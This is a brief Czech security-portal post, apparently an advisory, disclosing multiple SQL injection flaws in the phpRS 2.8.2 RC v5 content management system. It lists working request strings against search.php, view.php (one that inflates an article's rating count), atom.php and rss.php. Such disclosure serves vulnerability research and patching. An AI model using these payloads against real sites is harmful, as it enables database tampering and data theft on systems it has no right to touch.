

phpRS 2.8.2 RC v5 Multiple SQL injections

Vložil/a [RubberDuck](#) [1], 5 Listopad, 2012 - 11:17

- [Exploit](#) [2]

V poslední verzi českého redakčního systému [phpRS](#) [3] se nachází několik SQL injekcí.

Simple SQL injection

search.php?GLOBALS[rstext]=%

SQL Query Crash

search.php?GLOBALS[rstema]=nic&GLOBALS[rskde]=vse'&GLOBALS[rsautor]=nic&GLOBALS[rsrazeni]=datum_90&GLOBALS[rsvztah]=OR&GLOBALS[rstext]=php

SQL injection - editace počtu hodnocení

view.php?GLOBALS[cisloclanku]=2001061101&GLOBALS[hlasovani]=1,mn_hodnoceni=1000

SQL injection

atom.php?GLOBALS[mnozstvi]=[SQLi]
rss.php?GLOBALS[mnozstvi]=[SQLi]

URL článku: <https://security-portal.cz/clanky/phprs-282-rc-v5-multiple-sql-injections>

Odkazy:

[1] <https://security-portal.cz/users/rubberduck>

[2] <https://security-portal.cz/category/tagy/exploit>

[3] http://phprs.cz/magazin/download.php?akce=detail&id_detail=49&sekce=7